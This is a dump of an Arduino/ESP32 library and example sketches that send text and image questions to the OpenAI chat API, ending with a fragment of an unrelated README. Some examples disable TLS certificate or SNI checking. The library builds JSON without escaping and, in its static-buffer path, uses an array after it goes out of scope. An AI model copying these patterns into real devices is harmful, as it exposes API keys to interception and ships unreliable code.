repo_id
stringlengths 6
101
| size
int64 367
5.14M
| file_path
stringlengths 2
269
| content
stringlengths 367
5.14M
|
---|---|---|---|
0015/ChatGPT_Client_For_Arduino
| 6,552 |
README.md
|
## Overview
The ChatGPT Arduino Library provides a convenient way to interact with the OpenAI GPT models from Arduino environments, such as ESP32 devices. With this library, you can easily send text and vision queries to the ChatGPT API and receive responses directly in your Arduino projects.
## Features
- **Text Generation**: Generate text-based responses to user queries using the ChatGPT models.
- **Vision Question Answering**: Utilize the vision capabilities of ChatGPT to answer questions about images.
- **Simple API Integration**: Simple and intuitive API for seamless integration into your Arduino projects.
## Authentication
The OpenAI API uses API keys for authentication. Visit your API Keys page to retrieve the API key you'll use in your requests.
First, get your SECRET KEY issued here.
https://platform.openai.com/api-keys

## Installation
### Using Arduino Library Manager
From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...*
In Library Manager Window, search *"ChatGPT"* in the search form then select *"ChatGPT_Client"*
Click *"Install"* button.
### Manual installation
Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"*
From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...*
Or use git:
```
cd ~/arduino/libraries/
gh repo clone 0015/ChatGPT_Client_For_Arduino
```
Then you should see the examples and be able to include the library in your projects with:
```
#include <ChatGPT.hpp>
```
## Usage
1. Include the `ChatGPT.hpp` header file in your Arduino sketch.
2. Create a `ChatGPT` object and provide your API key and other required parameters.
3. Use the provided methods to send queries to the ChatGPT API and receive responses.
### Example:
```cpp
#include <ChatGPT.hpp>
// Initialize ChatGPT client
WiFiSSLClient wifiClient;
ChatGPT<WiFiSSLClient> chatGPT(&wifiClient, "v1", "YOUR_API_KEY", 10000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image.
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
```
### Result:
```json
[ChatGPT] - Asking a Text Question
[ChatGPT] Response: {
"id": "chatcmpl-9QjdlCkqkB4dsVXBzUTRTBYafI7f3",
"object": "chat.completion",
"created": 1716158997,
"model": "gpt-3.5-turbo-0125",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "One of the best features of GPT-4o is its advanced natural language processing capabilities. GPT-4o has a deeper understanding of context, nuance, and complex language structures, allowing it to generate more accurate and coherent responses to a wide range of prompts. Its improved language modeling capabilities make it more versatile and effective in various tasks such as text generation, language translation, and question answering. Overall, the enhanced natural language processing capabilities of GPT-4o make it a powerful tool"
},
"logprobs": null,
"finish_reason": "length"
}
],
"usage": {
"prompt_tokens": 19,
"completion_tokens": 100,
"total_tokens": 119
},
"system_fingerprint": null
}
```
```json
[ChatGPT] - Asking a Vision Question
[ChatGPT] Response: {
"id": "chatcmpl-9Qjdp5B4wyE5cVbcLOucvm9uoT6rH",
"object": "chat.completion",
"created": 1716159001,
"model": "gpt-4o-2024-05-13",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "The image shows a peaceful lakeside pathway. The path is made of bricks and runs alongside a body of water. There is greenery on both sides of the path with trees providing shade on the right side. Off in the distance, you can see some buildings, possibly residential apartments, and more greenery. The atmosphere appears to be calm and serene."
},
"logprobs": null,
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 268,
"completion_tokens": 69,
"total_tokens": 337
},
"system_fingerprint": "fp_927397958d"
}
```
### Limitation
AVR and ESP8266 may not operate smoothly due to insufficient memory allocation. It looks like this part will need to be updated again soon.
# Updates
- v0.2.0
- Support Vision Question (GPT-4o)
- Support larger payloads
- ArduinoJson 7
- v0.1.2
- Demo Bugs Fixed
- v0.1.1
- Added ESP8266 Example
- v0.1.0
- Only Support Chat completion yet
- Model, only gpt-3.5-turbo and gpt-3.5-turbo-0301 are supported
# License
This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
|
0015/ChatGPT_Client_For_Arduino
| 10,335 |
src/ChatGPT.hpp
|
/*
* Project ChatGPT Client
* Description: The official method using API Key for communication with ChatGPT
* Author: Eric Nam
* Date: 07-17-2024
*/
#ifndef __CHATGPT__
#define __CHATGPT__
template <class T>
class ChatGPT
{
public:
/*
* Description:
* Constructor for the ChatGPT class.
*
* Parameters:
* - _client: Pointer to the HTTP client object.
* - api_version_in: The API version to use.
* - api_key_in: The API key for authentication.
* - timeout_in: The timeout duration for requests.
*/
ChatGPT(T *_client,
const char *api_version_in,
const char *api_key_in,
unsigned long timeout_in)
: client(_client), api_version(api_version_in), api_key(api_key_in), timeout(timeout_in)
{
timeout = (timeout_in < 5000) ? 5000 : timeout_in;
}
~ChatGPT() = default;
/*
* Description:
* Sends a vision question to the ChatGPT API.
*
* Parameters:
* - model: The model to use for generating the response.
* - role: The role of the user (e.g., "user", "assistant").
* - type: The type of the content (e.g., "text", "image_url").
* - text: The text content of the message.
* - image_type: The type of the image content.
* - image_url: The URL of the image.
* - detail: The detail level of the image (e.g., "low", "high").
* - max_tokens: The maximum number of tokens to generate.
* - content_only: If true, extracts and returns only the content from the response.
* - result: Stores the response from the API.
* - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory)
*
* Returns:
* - True if the request is successful, false otherwise.
*/
bool vision_question(
const char *model,
const char *role,
const char *type,
const char *text,
const char *image_type,
const char *image_url,
const char *detail,
int max_tokens,
bool content_only,
String &result,
bool mem_dynamic = true)
{
char *post_body = nullptr; // Initialize post_body pointer
int post_body_size = 0;
if (mem_dynamic)
{
// Calculate the required size for dynamic allocation
post_body_size = snprintf(nullptr, 0,
"{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}",
model, role, type, text, image_type, image_url, detail, max_tokens) + 1;
post_body = new char[post_body_size];
if (post_body == nullptr)
{
result = "[ERR] Memory allocation failed!";
return false;
}
}
else
{
// Use a static buffer with a fixed size
static const int static_buffer_size = 512;
char static_post_body[static_buffer_size];
post_body_size = static_buffer_size;
post_body = static_post_body;
}
// Format the post_body string
snprintf(post_body, post_body_size,
"{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}",
model, role, type, text, image_type, image_url, detail, max_tokens);
// Call the _post function
bool success = _postStream(post_body, content_only, result);
// Free dynamic memory if allocated
if (mem_dynamic)
{
delete[] post_body;
}
return success;
}
/*
* Description:
* Sends a chat message to the ChatGPT API.
*
* Parameters:
* - model: The model to use for generating the response.
* - role: The role of the user (e.g., "user", "assistant").
* - content: The content of the message.
* - max_tokens: The maximum number of tokens to generate.
* - content_only: If true, extracts and returns only the content from the response.
* - result: Stores the response from the API.
* - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory)
*
* Returns:
* - True if the request is successful, false otherwise.
*/
bool chat_message(
const char *model,
const char *role,
const char *content,
int max_tokens,
bool content_only,
String &result,
bool mem_dynamic = true)
{
char *post_body = nullptr; // Initialize post_body pointer
int post_body_size = 0;
if (mem_dynamic)
{
// Calculate the required size for dynamic allocation
post_body_size = snprintf(nullptr, 0, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content) + 1;
post_body = new char[post_body_size];
if (post_body == nullptr)
{
result = "[ERR] Memory allocation failed!";
return false;
}
}
else
{
// Use a static buffer with a fixed size
static const int static_buffer_size = 256;
char static_post_body[static_buffer_size];
post_body_size = static_buffer_size;
post_body = static_post_body;
}
// Format the post_body string
snprintf(post_body, post_body_size, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content);
// Call the _post function
bool success = _postStream(post_body, content_only, result);
// Free dynamic memory if allocated
if (mem_dynamic)
{
delete[] post_body;
}
return success;
}
private:
static constexpr const char *host = "api.openai.com";
static constexpr const int httpsPort = 443;
T *client = nullptr;
String api_version;
String api_key;
unsigned long timeout;
/*
* Description:
* Sends an HTTP POST request to the ChatGPT API in streaming mode.
*
* Parameters:
* - post_body: The body of the POST request.
* - content_only: If true, extracts and returns only the content from the response.
* - result: Stores the response from the API.
*
* Returns:
* - True if the request is successful, false otherwise.
*/
bool _postStream(
const char *post_body,
bool content_only,
String &result)
{
if (!client->connect(host, httpsPort))
{
result = "[ERR] Connection failed!";
return false;
}
size_t payload_length = strlen(post_body);
String auth_header = _get_auth_header(api_key);
String http_request = "POST /" + api_version + "/chat/completions HTTP/1.1\r\n" + auth_header + "\r\n" + "Host: " + host + "\r\n" + "Cache-control: no-cache\r\n" + "User-Agent: ESP32 ChatGPT\r\n" + "Content-Type: application/json\r\n" + "Content-Length: " + String(payload_length) + "\r\n" + "Connection: close\r\n" + "\r\n";
// Send the HTTP request headers
client->print(http_request);
// Send the HTTP request body in chunks
size_t bytes_sent = 0;
while (bytes_sent < payload_length)
{
size_t chunk_size = minimum(payload_length - bytes_sent, static_cast<size_t>(1024)); // Adjust chunk size as needed
size_t bytes_written = client->write((const uint8_t *)post_body + bytes_sent, chunk_size);
if (bytes_written != chunk_size)
{
result = "[ERR] Failed to send data";
client->stop();
return false;
}
bytes_sent += bytes_written;
}
// Wait for the response
String responseStr;
unsigned long startTime = millis();
while (client->connected() && millis() - startTime < timeout)
{
if (client->available())
{
responseStr += client->readStringUntil('\n');
responseStr += "\r\n";
startTime = millis(); // Reset the timeout timer whenever new data is received
}
}
// Handle timeout
if (millis() - startTime >= timeout)
{
result = "[ERR] Timeout";
client->stop();
return false;
}
client->stop();
// Check for valid response
if (responseStr.length() == 0)
{
result = "[ERR] Empty response";
return false;
}
// Extract response code
int responseCode = responseStr.substring(responseStr.indexOf(" ") + 1, responseStr.indexOf(" ") + 4).toInt();
if (responseCode != 200)
{
result = responseStr;
return false;
}
// Extract JSON body
int start = responseStr.indexOf("{");
int end = responseStr.lastIndexOf("}");
String jsonBody = responseStr.substring(start, end + 1);
if (jsonBody.length() == 0)
{
result = "[ERR] Couldn't read JSON data";
return false;
}
if (content_only)
{
return getContent(jsonBody.c_str(), result);
}
else
{
result = jsonBody;
return true;
}
}
String _get_auth_header(const String &api)
{
return "Authorization: Bearer " + api;
}
bool getContent(const char *jsonString, String &result)
{
JsonDocument doc;
DeserializationError error = deserializeJson(doc, jsonString);
if (error)
{
result = "deserializeJson() failed: ";
result += error.f_str();
return false;
}
// Check if the "choices" array exists and contains at least one element
if (doc.containsKey("choices") && doc["choices"].is<JsonArray>() && doc["choices"].size() > 0)
{
// Access the first element of the "choices" array
JsonObject choice = doc["choices"][0];
// Check if the "message" object exists
if (choice.containsKey("message"))
{
// Access the "message" object
JsonObject message = choice["message"];
// Check if the "content" field exists
if (message.containsKey("content"))
{
// Access and store the value of the "content" field
const char *content = message["content"];
result = content;
return true;
}
else
{
result = "No 'content' field found";
return false;
}
}
else
{
result = "No 'message' object found";
return false;
}
}
else
{
result = "No 'choices' array found or it is empty";
return false;
}
}
size_t minimum(size_t a, size_t b)
{
return (a < b) ? a : b;
}
};
#endif
|
0015/ChatGPT_Client_For_Arduino
| 1,076 |
examples/Arduino_SSLClient/Base64ImageData.h
|
#ifndef BASE64_IMAGE_DATA_H
#define BASE64_IMAGE_DATA_H
// The image is a solid red color.
const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k=";
#endif
|
0015/ChatGPT_Client_For_Arduino
| 4,453 |
examples/Arduino_SSLClient/Arduino_SSLClient.ino
|
/*
* Project ChatGPT Client For Arduino (Arduino Giga R1, Arduino Portenta H7)
* Description: For HTTPS connection using Arduino WiFiSSLClient
* Author: Eric Nam
* Date: 07-17-2024
*/
#include <WiFi.h>
#include <WiFiSSLClient.h>
#include <ArduinoJson.h>
#include <ChatGPT.hpp>
#include "Base64ImageData.h"
static const char *ssid = "<WIFI_SSID>";
static const char *pass = "<WIFI_PW>";
int status = WL_IDLE_STATUS;
/*
client: Pointer to the HTTP client object used for making API requests.
api_version: API version to use for communication (e.g., "v1").
api_key: API key for authentication with the ChatGPT API.
timeout: Timeout duration for API requests, in milliseconds.
*/
WiFiSSLClient client;
ChatGPT<WiFiSSLClient> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionBase64() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image or Base64 Image Data
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", base64ImageData, "auto", 500, true, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void setup() {
//Initialize serial and wait for port to open:
Serial.begin(115200);
while (!Serial) {
; // wait for serial port to connect. Needed for native USB port only
}
// check for the WiFi module:
if (WiFi.status() == WL_NO_MODULE) {
Serial.println("Communication with WiFi module failed!");
// don't continue
while (true)
;
}
// attempt to connect to WiFi network:
while (status != WL_CONNECTED) {
Serial.print("Attempting to connect to SSID: ");
Serial.println(ssid);
// Connect to WPA/WPA2 network. Change this line if using open or WEP network:
status = WiFi.begin(ssid, pass);
// wait 10 seconds for connection:
delay(10000);
}
Serial.println("Connected to WiFi");
Serial.println("[ChatGPT] - Examples");
delay(1000);
exampleTextQuestion(); // Post Body in Static Memory
delay(1000);
exampleVisionQuestionWithURL(); // Post Body in Dynamic memory
}
void loop() {}
|
0015/ChatGPT_Client_For_Arduino
| 1,076 |
examples/ESP32_WiFiClientSecure/Base64ImageData.h
|
#ifndef BASE64_IMAGE_DATA_H
#define BASE64_IMAGE_DATA_H
// The image is a solid red color.
const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k=";
#endif
|
0015/ChatGPT_Client_For_Arduino
| 4,002 |
examples/ESP32_WiFiClientSecure/ESP32_WiFiClientSecure.ino
|
/*
* Project ChatGPT Client For ESP32
* Description: For HTTPS connection using WiFiClientSecure
* Author: Eric Nam
* Date: 07-17-2024
*/
#include <WiFi.h>
#include <WiFiClientSecure.h>
#include <ArduinoJson.h>
#include <ChatGPT.hpp>
#include "Base64ImageData.h"
static const char *ssid = "<WIFI_SSID>";
static const char *pass = "<WIFI_PW>";
/*
client: Pointer to the HTTP client object used for making API requests.
api_version: API version to use for communication (e.g., "v1").
api_key: API key for authentication with the ChatGPT API.
timeout: Timeout duration for API requests, in milliseconds.
*/
WiFiClientSecure client;
ChatGPT<WiFiClientSecure> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false))
{
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
}
else
{
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionBase64() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image or Base64 Image Data
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", base64ImageData, "auto", 500, true, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void setup() {
Serial.begin(115200);
Serial.print("Connecting to WiFi network: ");
Serial.print(ssid);
Serial.println("'...");
WiFi.begin(ssid, pass);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("Connecting...");
delay(1000);
}
Serial.println("Connected!");
// Ignore SSL certificate validation
client.setInsecure();
Serial.println("[ChatGPT] - Examples");
delay(1000);
exampleTextQuestion(); // Post Body in Static Memory
delay(1000);
exampleVisionQuestionWithURL(); // Post Body in Dynamic memory
}
void loop() {}
|
0015/ChatGPT_Client_For_Arduino
| 1,076 |
examples/Arduino_BearSSLExample/Base64ImageData.h
|
#ifndef BASE64_IMAGE_DATA_H
#define BASE64_IMAGE_DATA_H
// The image is a solid red color.
const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k=";
#endif
|
0015/ChatGPT_Client_For_Arduino
| 4,223 |
examples/Arduino_BearSSLExample/Arduino_BearSSLExample.ino
|
/*
* Project ChatGPT Client For Arduino
* Description: For HTTPS connection using ArduinoBearSSL
* Author: Eric Nam
* Date: 07-17-2024
*/
//#define ARDUINO_DISABLE_ECCX08
#include <ArduinoBearSSL.h>
#include <WiFi.h>
#include <ArduinoJson.h>
#include <ChatGPT.hpp>
#include "Base64ImageData.h"
static const char *ssid = "<WIFI_SSID>";
static const char *password = "<WIFI_PW>";
int status = WL_IDLE_STATUS;
/*
client: Pointer to the HTTP client object used for making API requests.
api_version: API version to use for communication (e.g., "v1").
api_key: API key for authentication with the ChatGPT API.
timeout: Timeout duration for API requests, in milliseconds.
*/
WiFiClient client;
BearSSLClient sslClient(client);
ChatGPT<BearSSLClient> chatGPT_Client(&sslClient, "v1", "<OpenAI_API_KEY>", 60000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionBase64() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image or Base64 Image Data
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", base64ImageData, "auto", 500, true, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "Whatโs in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
unsigned long getTime() {
return WiFi.getTime();
}
void setup() {
Serial.begin(115200);
if (WiFi.status() == WL_NO_SHIELD)
return;
int status = WL_IDLE_STATUS;
while (status != WL_CONNECTED) {
status = WiFi.begin(ssid, password);
delay(1000);
}
Serial.println("Connected!");
ArduinoBearSSL.onGetTime(getTime);
// Disable Server Name Indication:
// for testing purposes only
// DO NOT USE IN PRODUCTION
sslClient.setInsecure(BearSSLClient::SNI::Insecure);
Serial.println("[ChatGPT] - Examples");
delay(1000);
exampleTextQuestion(); // Post Body in Static Memory
delay(1000);
exampleVisionQuestionWithURL(); // Post Body in Dynamic memory
}
void loop() {}
|
000pp/blobber
| 1,421 |
README.md
|
<div align="center">
<img src="https://i.imgur.com/Y2XXof7.jpeg" width="900">
<br>
___
<br>
<img src="https://img.shields.io/github/license/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
